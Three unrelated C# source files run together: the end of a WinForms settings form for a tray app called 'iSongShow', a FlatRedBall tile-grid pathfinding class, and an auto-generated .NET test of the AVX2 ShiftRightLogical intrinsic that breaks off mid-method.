this.fadeDelayLabel = new System.Windows.Forms.Label(); this.popupDurationLabel = new System.Windows.Forms.Label(); this.opacityTextBox = new System.Windows.Forms.TextBox(); this.opacityStepTextBox = new System.Windows.Forms.TextBox(); this.fadeDelayTextBox = new System.Windows.Forms.TextBox(); this.popupDurationTextBox = new System.Windows.Forms.TextBox(); this.SuspendLayout(); // // notifyIcon1 // this.notifyIcon1.ContextMenu = this.contextMenu1; this.notifyIcon1.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon1.Icon"))); this.notifyIcon1.Text = "iSongShow"; this.notifyIcon1.Visible = true; this.notifyIcon1.Click += new System.EventHandler(this.OnNotifyIconClick); // // contextMenu1 // this.contextMenu1.MenuItems.AddRange(new System.Windows.Forms.MenuItem[] { this.menuItem1, this.menuItem2}); // // menuItem1 // this.menuItem1.Index = 0; this.menuItem1.Text = "Settings"; this.menuItem1.Click += new System.EventHandler(this.OnSettingsClick); // // menuItem2 // this.menuItem2.Index = 1; this.menuItem2.Text = "Exit"; this.menuItem2.Click += new System.EventHandler(this.OnExitClick); // // cancelButton // this.cancelButton.Location = new System.Drawing.Point(137, 152); this.cancelButton.Name = "cancelButton"; this.cancelButton.Size = new System.Drawing.Size(72, 24); this.cancelButton.TabIndex = 0; this.cancelButton.Text = "Cancel"; this.cancelButton.Click += new System.EventHandler(this.OnCancelClick); // // okButton // this.okButton.Location = new System.Drawing.Point(17, 152); this.okButton.Name = "okButton"; this.okButton.Size = new System.Drawing.Size(72, 24); this.okButton.TabIndex = 1; this.okButton.Text = "OK"; this.okButton.Click += new System.EventHandler(this.OnOkClick); // // opacityLabel // this.opacityLabel.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.opacityLabel.Location = new System.Drawing.Point(24, 16); this.opacityLabel.Name = "opacityLabel"; this.opacityLabel.Size = new System.Drawing.Size(96, 16); this.opacityLabel.TabIndex = 2; this.opacityLabel.Text = "Opacity (%)"; // // opacityStepLabel // this.opacityStepLabel.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.opacityStepLabel.Location = new System.Drawing.Point(24, 48); this.opacityStepLabel.Name = "opacityStepLabel"; this.opacityStepLabel.Size = new System.Drawing.Size(96, 16); this.opacityStepLabel.TabIndex = 3; this.opacityStepLabel.Text = "Opacity Step"; // // fadeDelayLabel // this.fadeDelayLabel.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.fadeDelayLabel.Location = new System.Drawing.Point(24, 80); this.fadeDelayLabel.Name = "fadeDelayLabel"; this.fadeDelayLabel.Size = new System.Drawing.Size(96, 16); this.fadeDelayLabel.TabIndex = 4; this.fadeDelayLabel.Text = "Fade Delay"; // // popupDurationLabel // this.popupDurationLabel.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.popupDurationLabel.Location = new System.Drawing.Point(24, 112); this.popupDurationLabel.Name = "popupDurationLabel"; this.popupDurationLabel.Size = new System.Drawing.Size(123, 16); this.popupDurationLabel.TabIndex = 5; this.popupDurationLabel.Text = "Popup Duration (ms)"; // // opacityTextBox // this.opacityTextBox.Location = new System.Drawing.Point(157, 14); this.opacityTextBox.Name = "opacityTextBox"; this.opacityTextBox.Size = new System.Drawing.Size(40, 20); this.opacityTextBox.TabIndex = 7; this.opacityTextBox.Text = "50"; // // opacityStepTextBox // this.opacityStepTextBox.Location = new System.Drawing.Point(156, 46); this.opacityStepTextBox.Name = "opacityStepTextBox"; this.opacityStepTextBox.Size = new System.Drawing.Size(40, 20); this.opacityStepTextBox.TabIndex = 8; this.opacityStepTextBox.Text = "50"; // // fadeDelayTextBox // this.fadeDelayTextBox.Location = new System.Drawing.Point(156, 78); this.fadeDelayTextBox.Name = "fadeDelayTextBox"; this.fadeDelayTextBox.Size = new System.Drawing.Size(40, 20); this.fadeDelayTextBox.TabIndex = 9; this.fadeDelayTextBox.Text = "50"; // // popupDurationTextBox // this.popupDurationTextBox.Location = new System.Drawing.Point(156, 110); this.popupDurationTextBox.Name = "popupDurationTextBox"; this.popupDurationTextBox.Size = new System.Drawing.Size(40, 20); this.popupDurationTextBox.TabIndex = 10; this.popupDurationTextBox.Text = "50"; // // SettingsForm // this.AutoScaleBaseSize = new System.Drawing.Size(5, 13); this.ClientSize = new System.Drawing.Size(226, 191); this.Controls.Add(this.popupDurationTextBox); this.Controls.Add(this.fadeDelayTextBox); this.Controls.Add(this.opacityStepTextBox); this.Controls.Add(this.opacityTextBox); this.Controls.Add(this.popupDurationLabel); this.Controls.Add(this.fadeDelayLabel); this.Controls.Add(this.opacityStepLabel); this.Controls.Add(this.opacityLabel); this.Controls.Add(this.okButton); this.Controls.Add(this.cancelButton); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "SettingsForm"; this.Text = "Settings"; this.ResumeLayout(false); } #endregion // Handler for context menu's Exit item private void OnExitClick(object sender, System.EventArgs e) { this.notifyIcon1.Visible = false; Application.Exit(); } // Handler for context menu's Settings item private void OnSettingsClick(object sender, System.EventArgs e) { this.Show(); } // Handler for form's OK button private void OnOkClick(object sender, System.EventArgs e) { int opacity = Convert.ToInt32(opacityTextBox.Text); double opacityStep = Convert.ToDouble(opacityStepTextBox.Text); int fadeDelay = Convert.ToInt32(fadeDelayTextBox.Text); int popupDuration = Convert.ToInt32(popupDurationTextBox.Text); Settings s = Settings.Instance; s.SetValue("Opacity", opacity); s.SetValue("OpacityStep", opacityStep); s.SetValue("FadeDelay", fadeDelay); s.SetValue("PopupDuration", popupDuration); this.Hide(); } // Handler for form's cancel button private void OnCancelClick(object sender, System.EventArgs e) { this.Hide(); } // Handler for notification area icon click private void OnNotifyIconClick(object sender, System.EventArgs e) { LoadSettings(); if (this.WindowState == FormWindowState.Minimized) this.WindowState = FormWindowState.Normal; this.Show(); } // Fill form's text boxes with fresh data private void LoadSettings() { Settings s = Settings.Instance; int opacity = s.GetInt("Opacity"); double opacityStep = s.GetDouble("OpacityStep"); int fadeDelay = s.GetInt("FadeDelay"); int popupDuration = s.GetInt("PopupDuration"); this.opacityTextBox.Text = opacity + ""; this.opacityStepTextBox.Text = opacityStep + ""; this.fadeDelayTextBox.Text = fadeDelay + ""; this.popupDurationTextBox.Text = popupDuration + ""; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using FlatRedBall.Math; using Math = System.Math; using FlatRedBall.Math.Geometry; using Vector2 = Microsoft.Xna.Framework.Vector2; using Vector3 = Microsoft.Xna.Framework.Vector3; using Color = Microsoft.Xna.Framework.Color; namespace FlatRedBall.AI.Pathfinding { #region Enums public enum DirectionalType { Four, Eight } #endregion public class TileNodeNetwork : NodeNetwork { #region Fields const int PropertyIndexSize = 32; PositionedObjectList<Circle> mOccupiedTileCircles = new PositionedObjectList<Circle>(); PositionedNode[][] mTiledNodes; List<OccupiedTile> mOccupiedTiles = new List<OccupiedTile>(); int mNumberOfXTiles; int mNumberOfYTiles; DirectionalType mDirectionalType; float mXSeed; float mYSeed; float mGridSpacing; float[] mCosts; #endregion #region Properties public float OccupiedCircleRadius { get; set; } #endregion #region Methods #region Constructor private TileNodeNetwork() { } public TileNodeNetwork(float xSeed, float ySeed, float gridSpacing, int numberOfXTiles, int numberOfYTiles, DirectionalType directionalType) { mCosts = new float[PropertyIndexSize]; // Maybe expand this to 64 if we ever move to a long bit field? OccupiedCircleRadius = .5f; mTiledNodes = new PositionedNode[numberOfXTiles][]; mNumberOfXTiles = numberOfXTiles; mNumberOfYTiles = numberOfYTiles; mDirectionalType = directionalType; mXSeed = xSeed; mYSeed = ySeed; mGridSpacing = gridSpacing; // Do an initial loop to create the arrays so that // linking works properly for (int x = 0; x < numberOfXTiles; x++) { mTiledNodes[x] = new PositionedNode[numberOfYTiles]; } } #endregion #region Public Methods public PositionedNode AddAndLinkTiledNodeWorld(float worldX, float worldY) { int x; int y; WorldToIndex(worldX, worldY, out x, out y); return AddAndLinkTiledNode(x, y, mDirectionalType); } public PositionedNode AddAndLinkTiledNode(int x, int y) { return AddAndLinkTiledNode(x, y, mDirectionalType); } public PositionedNode AddAndLinkTiledNode(int x, int y, DirectionalType directionalType) { PositionedNode node = null; if (mTiledNodes[x][y] != null) { node = mTiledNodes[x][y]; } else { node = AddNode(); mTiledNodes[x][y] = node; } node.Position.X = mXSeed + x * mGridSpacing; node.Position.Y = mYSeed + y * mGridSpacing; // Now attach to the adjacent tiles AttachNodeToNodeAtIndex(node, x, y + 1); AttachNodeToNodeAtIndex(node, x + 1, y); AttachNodeToNodeAtIndex(node, x, y - 1); AttachNodeToNodeAtIndex(node, x - 1, y); if (directionalType == DirectionalType.Eight) { AttachNodeToNodeAtIndex(node, x - 1, y + 1); AttachNodeToNodeAtIndex(node, x + 1, y + 1); AttachNodeToNodeAtIndex(node, x + 1, y - 1); AttachNodeToNodeAtIndex(node, x - 1, y - 1); } return node; } public void FillCompletely() { for (int x = 0; x < mNumberOfXTiles; x++) { for (int y = 0; y < mNumberOfYTiles; y++) { PositionedNode newNode = AddAndLinkTiledNode(x, y, mDirectionalType); } } } public void EliminateCutCorners() { for (int x = 0; x < this.mNumberOfXTiles; x++) { for (int y = 0; y < this.mNumberOfYTiles; y++) { EliminateCutCornersForNodeAtIndex(x, y); } } } public void EliminateCutCornersForNodeAtIndex(int x, int y) { PositionedNode nodeAtIndex = TiledNodeAt(x, y); if (nodeAtIndex == null) { return; } PositionedNode nodeAL = TiledNodeAt(x - 1, y + 1); PositionedNode nodeA = TiledNodeAt(x , y + 1); PositionedNode nodeAR = TiledNodeAt(x + 1, y + 1); PositionedNode nodeR = TiledNodeAt(x + 1, y ); PositionedNode nodeBR = TiledNodeAt(x + 1, y - 1); PositionedNode nodeB = TiledNodeAt(x , y - 1); PositionedNode nodeBL = TiledNodeAt(x - 1, y - 1); PositionedNode nodeL = TiledNodeAt(x - 1, y ); if (nodeAL != null && nodeAtIndex.IsLinkedTo(nodeAL)) { if (nodeA == null || nodeL == null) { nodeAtIndex.BreakLinkBetween(nodeAL); } } if (nodeAR != null && nodeAtIndex.IsLinkedTo(nodeAR)) { if (nodeA == null || nodeR == null) { nodeAtIndex.BreakLinkBetween(nodeAR); } } if (nodeBR != null && nodeAtIndex.IsLinkedTo(nodeBR)) { if (nodeB == null || nodeR == null) { nodeAtIndex.BreakLinkBetween(nodeBR); } } if (nodeBL != null && nodeAtIndex.IsLinkedTo(nodeBL)) { if (nodeB == null || nodeL == null) { nodeAtIndex.BreakLinkBetween(nodeBL); } } } public PositionedNode GetClosestNodeTo(float x, float y) { int xTilesFromSeed = MathFunctions.RoundToInt((x - mXSeed) / mGridSpacing); int yTilesFromSeed = MathFunctions.RoundToInt((y - mXSeed) / mGridSpacing); xTilesFromSeed = System.Math.Max(0, xTilesFromSeed); xTilesFromSeed = System.Math.Min(xTilesFromSeed, mNumberOfXTiles - 1); yTilesFromSeed = System.Math.Max(0, yTilesFromSeed); yTilesFromSeed = System.Math.Min(yTilesFromSeed, mNumberOfYTiles - 1); PositionedNode nodeToReturn = TiledNodeAt(xTilesFromSeed, yTilesFromSeed); if (nodeToReturn == null) { // Well, we tried to be efficient here, but it didn't work out, so // let's use our slower Base functionality to get the node that we should return Vector3 vector3 = new Vector3(x, y, 0); nodeToReturn = base.GetClosestNodeTo(ref vector3); } return nodeToReturn; } public override PositionedNode GetClosestNodeTo(ref Microsoft.Xna.Framework.Vector3 position) { return GetClosestNodeTo(position.X, position.Y); } public PositionedNode GetClosestUnoccupiedNodeTo(ref Microsoft.Xna.Framework.Vector3 targetPosition, ref Microsoft.Xna.Framework.Vector3 startPosition) { return GetClosestUnoccupiedNodeTo(ref targetPosition, ref startPosition, false); } public PositionedNode GetClosestUnoccupiedNodeTo(ref Microsoft.Xna.Framework.Vector3 targetPosition, ref Microsoft.Xna.Framework.Vector3 startPosition, bool ignoreCorners) { PositionedNode nodeToReturn = null; int xTile, yTile; WorldToIndex(targetPosition.X, targetPosition.Y, out xTile, out yTile); if (IsTileOccupied(xTile, yTile) == false) nodeToReturn = TiledNodeAt(xTile, yTile); if (nodeToReturn == null) { int startXTile, startYTile, xTileCheck, yTileCheck, deltaX, deltaY; WorldToIndex(startPosition.X, startPosition.Y, out startXTile, out startYTile); float shortestDistanceSquared = 999; int finalTileX = -1, finalTileY = -1; //Get the "target" Node PositionedNode node = TiledNodeAt(xTile, yTile); PositionedNode startNode = TiledNodeAt(startXTile, startYTile); PositionedNode checkNode; if (node != null && startNode != null) { for (int i = 0; i < node.Links.Count; i++) { //skip any tile I am already on... checkNode = node.Links[i].NodeLinkingTo; if (checkNode == startNode) continue; WorldToIndex(checkNode.X, checkNode.Y, out xTileCheck, out yTileCheck); if (IsTileOccupied(xTileCheck, yTileCheck) == false) { deltaX = xTileCheck - xTile; deltaY = yTileCheck - yTile; if (ignoreCorners == false || (ignoreCorners == true && (deltaX == 0 || deltaY == 0))) { float distanceFromStartSquared = ((xTileCheck - startXTile) * (xTileCheck - startXTile)) + ((yTileCheck - startYTile) * (yTileCheck - startYTile)); if (distanceFromStartSquared < shortestDistanceSquared) { shortestDistanceSquared = distanceFromStartSquared; finalTileX = xTileCheck; finalTileY = yTileCheck; } } } } if (finalTileX != -1 && finalTileY != -1) { nodeToReturn = TiledNodeAt(finalTileX, finalTileY); } } } return nodeToReturn; } public bool AreAdjacentTiles(ref Microsoft.Xna.Framework.Vector3 targetPosition, ref Microsoft.Xna.Framework.Vector3 startPosition) { return AreAdjacentTiles(ref targetPosition, ref startPosition, false); } public bool AreAdjacentTiles(ref Microsoft.Xna.Framework.Vector3 targetPosition, ref Microsoft.Xna.Framework.Vector3 startPosition, bool ignoreCorners) { bool areAdjacent = false; int xTileTarget, yTileTarget, xTileStart, yTileStart, deltaX, deltaY; WorldToIndex(targetPosition.X, targetPosition.Y, out xTileTarget, out yTileTarget); WorldToIndex(startPosition.X, startPosition.Y, out xTileStart, out yTileStart); deltaX = xTileTarget - xTileStart; deltaY = yTileTarget - yTileStart; if (ignoreCorners == false || (ignoreCorners == true && (deltaX == 0 || deltaY == 0))) { PositionedNode targetNode = TiledNodeAt(xTileTarget, yTileTarget); PositionedNode startNode = TiledNodeAt(xTileStart, yTileStart); if (targetNode != null && startNode != null) { for (int i = 0; i < targetNode.Links.Count; i++) { if (targetNode.Links[i].NodeLinkingTo == startNode) { areAdjacent = true; break; } } } } return areAdjacent; } public Vector2 GetOccupiedTileLocation(object occupier) { foreach (OccupiedTile occupiedTile in mOccupiedTiles) { if (occupiedTile.Occupier == occupier) { float worldX; float worldY; IndexToWorld(occupiedTile.X, occupiedTile.Y, out worldX, out worldY); return new Vector2(worldX, worldY); } } return new Vector2(float.NaN, float.NaN); } public bool IsTileOccupied(int x, int y) { foreach (OccupiedTile occupiedTile in mOccupiedTiles) { if (occupiedTile.X == x && occupiedTile.Y == y) { return true; } } return false; } public bool IsTileOccupied(int x, int y, out object occupier) { foreach (OccupiedTile occupiedTile in mOccupiedTiles) { if (occupiedTile.X == x && occupiedTile.Y == y) { occupier = occupiedTile.Occupier; return true; } } occupier = null; return false; } public bool IsTileOccupiedWorld(float worldX, float worldY) { int xIndex; int yIndex; WorldToIndex(worldX, worldY, out xIndex, out yIndex); return IsTileOccupied(xIndex, yIndex); } public bool IsTileOccupiedWorld(float worldX, float worldY, out object occupier) { int xIndex; int yIndex; WorldToIndex(worldX, worldY, out xIndex, out yIndex); return IsTileOccupied(xIndex, yIndex, out occupier); } public void OccupyTile(int x, int y) { OccupyTile(x, y, null); } public void OccupyTile(int x, int y, object occupier) { #if DEBUG object objectAlreadyOccupying = GetTileOccupier(x, y); if (objectAlreadyOccupying != null) { throw new InvalidOperationException("The tile at " + x + ", " + y + " is already occupied by " + objectAlreadyOccupying.ToString()); } #endif OccupiedTile occupiedTile = new OccupiedTile(); occupiedTile.X = x; occupiedTile.Y = y; occupiedTile.Occupier = occupier; mOccupiedTiles.Add(occupiedTile); } public void OccupyTileWorld(float worldX, float worldY) { int xIndex; int yIndex; WorldToIndex(worldX, worldY, out xIndex, out yIndex); OccupyTile(xIndex, yIndex, null); } public void OccupyTileWorld(float worldX, float worldY, object occupier) { int xIndex; int yIndex; WorldToIndex(worldX, worldY, out xIndex, out yIndex); OccupyTile(xIndex, yIndex, occupier); } public object GetOccupier(float x, float y) { object occupier = null; IsTileOccupiedWorld(x, y, out occupier); return occupier; } public void RecalculateCostsForCostIndex(int costIndex) { int shiftedCost = (1 << costIndex); foreach (PositionedNode positionedNode in mNodes) { if ((positionedNode.PropertyField & shiftedCost) == shiftedCost) { UpdateNodeAccordingToCosts(positionedNode); } } } public void SetCosts(params float[] costs) { for (int i = 0; i < costs.Length; i++) { mCosts[i] = costs[i]; } } public PositionedNode TiledNodeAtWorld(float x, float y) { int xIndex; int yIndex; WorldToIndex(x, y, out xIndex, out yIndex); return TiledNodeAt(xIndex, yIndex); } public PositionedNode TiledNodeAt(int x, int y) { if (x < 0 || x >= mNumberOfXTiles || y < 0 || y >= mNumberOfYTiles) { return null; } else { return mTiledNodes[x][y]; } } public void Unoccupy(int x, int y) { for (int i = mOccupiedTiles.Count - 1; i > -1; i--) { OccupiedTile occupiedTile = mOccupiedTiles[i]; if (occupiedTile.X == x && occupiedTile.Y == y) { mOccupiedTiles.RemoveAt(i); break; } } } public void Unoccupy(object occupier) { for (int i = mOccupiedTiles.Count - 1; i > -1; i--) { OccupiedTile occupiedTile = mOccupiedTiles[i]; if (occupiedTile.Occupier == occupier) { mOccupiedTiles.RemoveAt(i); // Don't do a break here because // one occupier could occupy multiple // tiles. // break; } } } public void UpdateNodeAccordingToCosts(PositionedNode node) { float multiplierForThisNode = 1; for (int propertyIndex = 0; propertyIndex < PropertyIndexSize; propertyIndex++) { int shiftedValue = 1 << propertyIndex; if ((node.PropertyField & shiftedValue) == shiftedValue) { multiplierForThisNode += mCosts[propertyIndex]; } } // Now we know the cost multiplier to get to this node, which is multiplerForThisNode // Next we just have to calculate the distance to get to this node and foreach (Link link in node.mLinks) { PositionedNode otherNode = link.NodeLinkingTo; Link linkBack = otherNode.GetLinkTo(node); if (linkBack != null) { // reacalculate the cost: linkBack.Cost = (node.Position - otherNode.Position).Length() * multiplierForThisNode; } } } public override void UpdateShapes() { base.UpdateShapes(); if (Visible == false) { while (mOccupiedTileCircles.Count != 0) { ShapeManager.Remove(mOccupiedTileCircles[mOccupiedTileCircles.Count - 1]); } } else { // Remove circles if necessary while (mOccupiedTileCircles.Count > mOccupiedTiles.Count) { ShapeManager.Remove(mOccupiedTileCircles.Last); } while (mOccupiedTileCircles.Count < mOccupiedTiles.Count) { Circle circle = new Circle(); circle.Color = Color.Orange; ShapeManager.AddToLayer(circle, LayerToDrawOn); mOccupiedTileCircles.Add(circle); } for (int i = 0; i < mOccupiedTiles.Count; i++) { IndexToWorld(mOccupiedTiles[i].X, mOccupiedTiles[i].Y, out mOccupiedTileCircles[i].Position.X, out mOccupiedTileCircles[i].Position.Y); mOccupiedTileCircles[i].Radius = OccupiedCircleRadius; } } } public void IndexToWorld(int xIndex, int yIndex, out float worldX, out float worldY) { worldX = mXSeed + mGridSpacing * xIndex; worldY = mYSeed + mGridSpacing * yIndex; } public void WorldToIndex(float worldX, float worldY, out int xIndex, out int yIndex) { xIndex = MathFunctions.RoundToInt((worldX - mXSeed) / mGridSpacing); yIndex = MathFunctions.RoundToInt((worldY - mYSeed) / mGridSpacing); xIndex = System.Math.Max(0, xIndex); xIndex = System.Math.Min(xIndex, mNumberOfXTiles - 1); yIndex = System.Math.Max(0, yIndex); yIndex = System.Math.Min(yIndex, mNumberOfYTiles - 1); } public void AttachNodeToNodeAtIndex(PositionedNode node, int x, int y) { PositionedNode nodeToLinkTo = TiledNodeAt(x, y); if (nodeToLinkTo != null && !node.IsLinkedTo(nodeToLinkTo)) { node.LinkTo(nodeToLinkTo); } } public override void Remove(PositionedNode nodeToRemove) { base.Remove(nodeToRemove); int tileX, tileY; WorldToIndex(nodeToRemove.Position.X, nodeToRemove.Position.Y, out tileX, out tileY); mTiledNodes[tileX][tileY] = null; } public void RemoveAndUnlinkNode( ref Microsoft.Xna.Framework.Vector3 positionToRemoveNodeFrom ) { PositionedNode nodeToRemove = GetClosestNodeTo(ref positionToRemoveNodeFrom); Remove( nodeToRemove ); } #endregion #region Private Methods private object GetTileOccupier(int x, int y) { foreach (OccupiedTile occupiedTile in mOccupiedTiles) { if (occupiedTile.X == x && occupiedTile.Y == y) { return occupiedTile.Occupier; } } return null; } #endregion #endregion } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. /****************************************************************************** * This file is auto-generated from a template file by the GenerateTests.csx * * script in tests\src\JIT\HardwareIntrinsics\X86\Shared. In order to make * * changes, please update the corresponding template and run according to the * * directions listed in the file. * ******************************************************************************/ using System; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Runtime.Intrinsics; using System.Runtime.Intrinsics.X86; namespace JIT.HardwareIntrinsics.X86 { public static partial class Program { private static void ShiftRightLogicalUInt1616() { var test = new ImmUnaryOpTest__ShiftRightLogicalUInt1616(); if (test.IsSupported) { // Validates basic functionality works, using Unsafe.Read test.RunBasicScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates basic functionality works, using Load test.RunBasicScenario_Load(); // Validates basic functionality works, using LoadAligned test.RunBasicScenario_LoadAligned(); } // Validates calling via reflection works, using Unsafe.Read test.RunReflectionScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates calling via reflection works, using Load test.RunReflectionScenario_Load(); // Validates calling via reflection works, using LoadAligned test.RunReflectionScenario_LoadAligned(); } // Validates passing a static member works test.RunClsVarScenario(); // Validates passing a local works, using Unsafe.Read test.RunLclVarScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates passing a local works, using Load test.RunLclVarScenario_Load(); // Validates passing a local works, using LoadAligned test.RunLclVarScenario_LoadAligned(); } // Validates passing the field of a local class works test.RunClassLclFldScenario(); // Validates passing an instance member of a class works test.RunClassFldScenario(); // Validates passing the field of a local struct works test.RunStructLclFldScenario(); // Validates passing an instance member of a struct works test.RunStructFldScenario(); } else { // Validates we throw on unsupported hardware test.RunUnsupportedScenario(); } if (!test.Succeeded) { throw new Exception("One or more scenarios did not complete as expected."); } } } public sealed unsafe class ImmUnaryOpTest__ShiftRightLogicalUInt1616 { private struct TestStruct { public Vector256<UInt16> _fld; public static TestStruct Create() { var testStruct = new TestStruct(); for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetUInt16(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<UInt16>, byte>(ref testStruct._fld), ref Unsafe.As<UInt16, byte>(ref _data[0]), (uint)Unsafe.SizeOf<Vector256<UInt16>>()); return testStruct; } public void RunStructFldScenario(ImmUnaryOpTest__ShiftRightLogicalUInt1616 testClass) { var result = Avx2.ShiftRightLogical(_fld, 16); Unsafe.Write(testClass._dataTable.outArrayPtr, result); testClass.ValidateResult(_fld, testClass._dataTable.outArrayPtr); } } private static readonly int LargestVectorSize = 32; private static readonly int Op1ElementCount = Unsafe.SizeOf<Vector256<UInt16>>() / sizeof(UInt16); private static readonly int RetElementCount = Unsafe.SizeOf<Vector256<UInt16>>() / sizeof(UInt16); private static UInt16[] _data = new UInt16[Op1ElementCount]; private static Vector256<UInt16> _clsVar; private Vector256<UInt16> _fld; private SimpleUnaryOpTest__DataTable<UInt16, UInt16> _dataTable; static ImmUnaryOpTest__ShiftRightLogicalUInt1616() { for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetUInt16(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<UInt16>, byte>(ref _clsVar), ref Unsafe.As<UInt16, byte>(ref _data[0]), (uint)Unsafe.SizeOf<Vector256<UInt16>>()); } public ImmUnaryOpTest__ShiftRightLogicalUInt1616() { Succeeded = true; for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetUInt16(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<UInt16>, byte>(ref _fld), ref Unsafe.As<UInt16, byte>(ref _data[0]), (uint)Unsafe.SizeOf<Vector256<UInt16>>()); for (var i = 0; i < Op1ElementCount; i++) { _data[i] = TestLibrary.Generator.GetUInt16(); } _dataTable = new SimpleUnaryOpTest__DataTable<UInt16, UInt16>(_data, new UInt16[RetElementCount], LargestVectorSize); } public bool IsSupported => Avx2.IsSupported; public bool Succeeded { get; set; } public void RunBasicScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_UnsafeRead)); var result = Avx2.ShiftRightLogical( Unsafe.Read<Vector256<UInt16>>(_dataTable.inArrayPtr), 16 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunBasicScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_Load)); var result = Avx2.ShiftRightLogical( Avx.LoadVector256((UInt16*)(_dataTable.inArrayPtr)), 16 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunBasicScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_LoadAligned)); var result = Avx2.ShiftRightLogical( Avx.LoadAlignedVector256((UInt16*)(_dataTable.inArrayPtr)), 16 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunReflectionScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_UnsafeRead)); var result = typeof(Avx2).GetMethod(nameof(Avx2.ShiftRightLogical), new Type[] { typeof(Vector256<UInt16>), typeof(byte) }) .Invoke(null, new object[] { Unsafe.Read<Vector256<UInt16>>(_dataTable.inArrayPtr), (byte)16 }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<UInt16>)(result)); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunReflectionScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_Load)); var result = typeof(Avx2).GetMethod(nameof(Avx2.ShiftRightLogical), new Type[] { typeof(Vector256<UInt16>), typeof(byte) }) .Invoke(null, new object[] { Avx.LoadVector256((UInt16*)(_dataTable.inArrayPtr)), (byte)16 }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<UInt16>)(result)); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunReflectionScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_LoadAligned)); var result = typeof(Avx2).GetMethod(nameof(Avx2.ShiftRightLogical), new Type[] { typeof(Vector256<UInt16>), typeof(byte) }) .Invoke(null, new object[] { Avx.LoadAlignedVector256((UInt16*)(_dataTable.inArrayPtr)), (byte)16 }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<UInt16>)(result)); ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr); } public void RunClsVarScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClsVarScenario)); var result = Avx2.ShiftRightLogical( _clsVar, 16 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_clsVar, _dataTable.outArrayPtr); } public void RunLclVarScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_UnsafeRead)); var firstOp = Unsafe.Read<Vector256<UInt16>>(_dataTable.inArrayPtr); var result = Avx2.ShiftRightLogical(firstOp, 16); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(firstOp, _dataTable.outArrayPtr); } public void RunLclVarScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_Load)); var firstOp = Avx.LoadVector256((UInt16*)(_dataTable.inArrayPtr)); var result = Avx2.ShiftRightLogical(firstOp, 16); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(firstOp, _dataTable.outArrayPtr); } public void RunLclVarScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_LoadAligned)); var firstOp = Avx.LoadAlignedVector256((UInt16*)(_dataTable.inArrayPtr)); var result = Avx2.ShiftRightLogical(firstOp, 16); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(firstOp, _dataTable.outArrayPtr); } public void RunClassLclFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassLclFldScenario)); var test = new ImmUnaryOpTest__ShiftRightLogicalUInt1616(); var result = Avx2.ShiftRightLogical(test._fld, 16); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld, _dataTable.outArrayPtr); } public void RunClassFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassFldScenario)); var result = Avx2.ShiftRightLogical(_fld, 16); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_fld, _dataTable.outArrayPtr); } public void RunStructLclFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructLclFldScenario)); var test = TestStruct.Create(); var result = Avx2.ShiftRightLogical(test._fld, 16); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld, _dataTable.outArrayPtr); } public void RunStructFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructFldScenario)); var test = TestStruct.Create(); 